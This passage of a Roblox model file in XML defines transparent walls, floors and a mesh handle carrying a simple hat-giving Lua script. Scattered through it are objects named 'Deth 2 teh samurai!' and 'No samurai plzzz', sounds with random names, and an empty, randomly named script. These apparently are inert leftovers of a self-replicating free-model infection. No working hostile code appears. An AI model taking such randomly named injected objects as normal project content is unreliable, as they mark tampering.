							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX2167">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX2168">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2169">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">0jfac34</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX2170">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">d0l7</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2171">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX2172">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2173">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-77.5</X>
								<Y>4.5999999</Y>
								<Z>22.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2174">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-80.5</X>
								<Y>4.5999999</Y>
								<Z>20</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2175">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">105</int>
							<CoordinateFrame name="CFrame">
								<X>-77.5</X>
								<Y>1.60000002</Y>
								<Z>20</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">512</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>2.4000001</Y>
								<Z>6</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2176">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-74.5</X>
								<Y>4.5999999</Y>
								<Z>20</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2177">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-77.5</X>
								<Y>4.5999999</Y>
								<Z>17.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2178">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">102</int>
						<CoordinateFrame name="CFrame">
							<X>-77.5</X>
							<Y>7</Y>
							<Z>20</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.400000006</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>7</X>
							<Y>1.20000005</Y>
							<Z>6</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2179">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-76.5</X>
							<Y>3</Y>
							<Z>19.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Handle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2180">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><url>http://www.roblox.com/asset/?id=10913794</url></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.75</X>
								<Y>0.75</Y>
								<Z>0.75</Z>
							</Vector3>
							<Content name="TextureId"><url>http://www.roblox.com/asset/?id=10913771</url></Content>
							<Vector3 name="VertexColor">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2181">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and debounce == true) then
		debounce = false
		h = Instance.new(&quot;Hat&quot;)
		p = Instance.new(&quot;Part&quot;)
		h.Name = &quot;GreenTopHat&quot;
		p.Parent = h
		p.Position = hit.Parent:findFirstChild(&quot;Head&quot;).Position
		p.Name = &quot;Handle&quot; 
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-.88,0.05)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)

</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2182">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">jqvc5</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX2183">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">iq68am1cr</string>
									<string name="Source"></string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX2184">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX2185">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2186">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">0jfac34</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX2187">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">d0l7</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2188">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX2189">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2190">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-83.5</X>
								<Y>4.5999999</Y>
								<Z>40.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2191">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-86.5</X>
								<Y>4.5999999</Y>
								<Z>38</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2192">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">105</int>
							<CoordinateFrame name="CFrame">
								<X>-83.5</X>
								<Y>1.60000002</Y>
								<Z>38</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">512</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>2.4000001</Y>
								<Z>6</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2193">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-80.5</X>
								<Y>4.5999999</Y>
								<Z>38</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
